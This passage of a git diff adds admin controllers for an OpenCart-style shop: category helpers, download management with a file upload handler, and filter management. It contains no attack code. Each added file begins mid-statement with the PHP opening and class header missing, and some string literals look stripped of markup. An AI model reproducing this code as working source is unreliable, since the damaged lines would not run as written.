+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateRepair() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/category');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'sort' => 'name',
+ 'order' => 'ASC',
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_category->getCategories($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'category_id' => $result['category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ private function getCategories($parent_id, $parent_path = '', $indent = '') {
+ $category_id = array_shift($this->path);
+ $output = array();
+ static $href_category = null;
+ static $href_action = null;
+ if ($href_category === null) {
+ $href_category = $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . '&path=', true);
+ $href_action = $this->url->link('catalog/category/update', 'user_token=' . $this->session->data['user_token'] . '&category_id=', true);
+ }
+ $results = $this->model_catalog_category->getCategoriesByParentId($parent_id);
+ foreach ($results as $result) {
+ $path = $parent_path . $result['category_id'];
+ $href = ($result['children']) ? $href_category . $path : '';
+ $name = $result['name'];
+ if ($category_id == $result['category_id']) {
+ $name = '' . $name . '';
+ $data['breadcrumbs'][] = array(
+ 'text' => $result['name'],
+ 'href' => $href,
+ 'separator' => ' :: '
+ );
+ $href = '';
+ }
+ $selected = isset($this->request->post['selected']) && in_array($result['category_id'], $this->request->post['selected']);
+ $action = array();
+ $action[] = array(
+ 'text' => $this->language->get('text_edit'),
+ 'href' => $href_action . $result['category_id']
+ );
+ $output[$result['category_id']] = array(
+ 'category_id' => $result['category_id'],
+ 'name' => $name,
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'edit' => $this->url->link('catalog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&category_id=' . $result['category_id'], true),
+ 'selected' => $selected,
+ 'action' => $action,
+ 'href' => $href,
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=product/category&path=' . ($result['category_id']),
+ 'indent' => $indent
+ );
+ if ($category_id == $result['category_id']) {
+ $output += $this->getCategories($result['category_id'], $path . '_', $indent . str_repeat(' ', 8));
+ }
+ }
+ return $output;
+ }
+ private function getAllCategories($categories, $parent_id = 0, $parent_name = '') {
+ $output = array();
+ if (array_key_exists($parent_id, $categories)) {
+ if ($parent_name != '') {
+ $parent_name .= $this->language->get('text_separator');
+ }
+ foreach ($categories[$parent_id] as $category) {
+ $output[$category['category_id']] = array(
+ 'category_id' => $category['category_id'],
+ 'name' => $parent_name . $category['name']
+ );
+ $output += $this->getAllCategories($categories, $category['category_id'], $parent_name . $category['name']);
+ }
+ }
+ return $output;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/download.php b/public/admin/controller/catalog/download.php
new file mode 100644
index 0000000..3d13c27
--- /dev/null
+++ b/public/admin/controller/catalog/download.php
@@ -0,0 +1,514 @@
+load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_download->addDownload($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_download->editDownload($this->request->get['download_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $download_id) {
+ $this->model_catalog_download->deleteDownload($download_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'dd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/download/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/download/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['downloads'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $download_total = $this->model_catalog_download->getTotalDownloads();
+
+ $results = $this->model_catalog_download->getDownloads($filter_data);
+
+ foreach ($results as $result) {
+ $data['downloads'][] = array(
+ 'download_id' => $result['download_id'],
+ 'name' => $result['name'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('catalog/download/edit', 'user_token=' . $this->session->data['user_token'] . '&download_id=' . $result['download_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . '&sort=dd.name' . $url, true);
+ $data['sort_date_added'] = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . '&sort=d.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $download_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($download_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($download_total - $this->config->get('config_limit_admin'))) ? $download_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $download_total, ceil($download_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/download_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['download_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['filename'])) {
+ $data['error_filename'] = $this->error['filename'];
+ } else {
+ $data['error_filename'] = '';
+ }
+
+ if (isset($this->error['mask'])) {
+ $data['error_mask'] = $this->error['mask'];
+ } else {
+ $data['error_mask'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['download_id'])) {
+ $data['action'] = $this->url->link('catalog/download/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/download/edit', 'user_token=' . $this->session->data['user_token'] . '&download_id=' . $this->request->get['download_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->get['download_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $download_info = $this->model_catalog_download->getDownload($this->request->get['download_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['download_id'])) {
+ $data['download_id'] = (int)$this->request->get['download_id'];
+ } else {
+ $data['download_id'] = 0;
+ }
+
+ if (isset($this->request->post['download_description'])) {
+ $data['download_description'] = $this->request->post['download_description'];
+ } elseif (isset($this->request->get['download_id'])) {
+ $data['download_description'] = $this->model_catalog_download->getDownloadDescriptions($this->request->get['download_id']);
+ } else {
+ $data['download_description'] = array();
+ }
+
+ if (isset($this->request->post['filename'])) {
+ $data['filename'] = $this->request->post['filename'];
+ } elseif (!empty($download_info)) {
+ $data['filename'] = $download_info['filename'];
+ } else {
+ $data['filename'] = '';
+ }
+
+ if (isset($this->request->post['mask'])) {
+ $data['mask'] = $this->request->post['mask'];
+ } elseif (!empty($download_info)) {
+ $data['mask'] = $download_info['mask'];
+ } else {
+ $data['mask'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/download_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/download')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['download_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['filename']) < 3) || (utf8_strlen($this->request->post['filename']) > 128)) {
+ $this->error['filename'] = $this->language->get('error_filename');
+ }
+
+ if (!is_file(DIR_DOWNLOAD . $this->request->post['filename'])) {
+ $this->error['filename'] = $this->language->get('error_exists');
+ }
+
+ if ((utf8_strlen($this->request->post['mask']) < 3) || (utf8_strlen($this->request->post['mask']) > 128)) {
+ $this->error['mask'] = $this->language->get('error_mask');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/download')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $download_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByDownloadId($download_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function upload() {
+ $this->load->language('catalog/download');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'catalog/download')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
+ // Sanitize the filename
+ $filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
+
+ // Validate the filename length
+ if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 128)) {
+ $json['error'] = $this->language->get('error_filename');
+ }
+
+ // Allowed file extension types
+ $allowed = array();
+
+ $extension_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_ext_allowed'));
+
+ $filetypes = explode("\n", $extension_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array(strtolower(substr(strrchr($filename, '.'), 1)), $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ $allowed = array();
+
+ $mime_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_mime_allowed'));
+
+ $filetypes = explode("\n", $mime_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array($this->request->files['file']['type'], $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Check to see if any PHP files are trying to be uploaded
+ $content = file_get_contents($this->request->files['file']['tmp_name']);
+
+ if (preg_match('/\<\?php/i', $content)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Return any upload error
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ $file = $filename . '.' . token(32);
+
+ move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
+
+ $json['filename'] = $file;
+ $json['mask'] = $filename;
+
+ $json['success'] = $this->language->get('text_upload');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/download');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_download->getDownloads($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'download_id' => $result['download_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/filter.php b/public/admin/controller/catalog/filter.php
new file mode 100644
index 0000000..5017f61
--- /dev/null
+++ b/public/admin/controller/catalog/filter.php
@@ -0,0 +1,409 @@
+load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_filter->addFilter($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_filter->editFilter($this->request->get['filter_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $filter_group_id) {
+ $this->model_catalog_filter->deleteFilter($filter_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'fgd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/filter/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/filter/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['filters'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $filter_total = $this->model_catalog_filter->getTotalFilterGroups();
+
+ $results = $this->model_catalog_filter->getFilterGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['filters'][] = array(
+ 'filter_group_id' => $result['filter_group_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/filter/edit', 'user_token=' . $this->session->data['user_token'] . '&filter_group_id=' . $result['filter_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . '&sort=fgd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . '&sort=fg.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $filter_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($filter_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($filter_total - $this->config->get('config_limit_admin'))) ? $filter_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $filter_total, ceil($filter_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/filter_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['filter_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['group'])) {
+ $data['error_group'] = $this->error['group'];
+ } else {
+ $data['error_group'] = array();
+ }
+
+ if (isset($this->error['filter'])) {
+ $data['error_filter'] = $this->error['filter'];
+ } else {
+ $data['error_filter'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['filter_group_id'])) {
+ $data['action'] = $this->url->link('catalog/filter/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/filter/edit', 'user_token=' . $this->session->data['user_token'] . '&filter_group_id=' . $this->request->get['filter_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['filter_group_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $filter_group_info = $this->model_catalog_filter->getFilterGroup($this->request->get['filter_group_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['filter_group_description'])) {
+ $data['filter_group_description'] = $this->request->post['filter_group_description'];
+ } elseif (isset($this->request->get['filter_group_id'])) {
+ $data['filter_group_description'] = $this->model_catalog_filter->getFilterGroupDescriptions($this->request->get['filter_group_id']);
+ } else {
+ $data['filter_group_description'] = array();
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($filter_group_info)) {
+ $data['sort_order'] = $filter_group_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['filter'])) {
+ $data['filters'] = $this->request->post['filter'];
+ } elseif (isset($this->request->get['filter_group_id'])) {
+ $data['filters'] = $this->model_catalog_filter->getFilterDescriptions($this->request->get['filter_group_id']);
+ } else {
+ $data['filters'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/filter_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/filter')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['filter_group_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['group'][$language_id] = $this->language->get('error_group');
+ }
+ }
+
+ if (isset($this->request->post['filter'])) {
+ foreach ($this->request->post['filter'] as $filter_id => $filter) {
+ foreach ($filter['filter_description'] as $language_id => $filter_description) {
+ if ((utf8_strlen($filter_description['name']) < 1) || (utf8_strlen($filter_description['name']) > 64)) {
+ $this->error['filter'][$filter_id][$language_id] = $this->language->get('error_name');
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/filter')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/filter');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $filters = $this->model_catalog_filter->getFilters($filter_data);
+
+ foreach ($filters as $filter) {
+ $json[] = array(
+ 'filter_id' => $filter['filter_id'],
+ 'name' => strip_tags(html_entity_decode($filter['group'] . ' > ' . $filter['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/information.php b/public/admin/controller/catalog/information.php
new file mode 100644
index 0000000..8f8f0c5
--- /dev/null
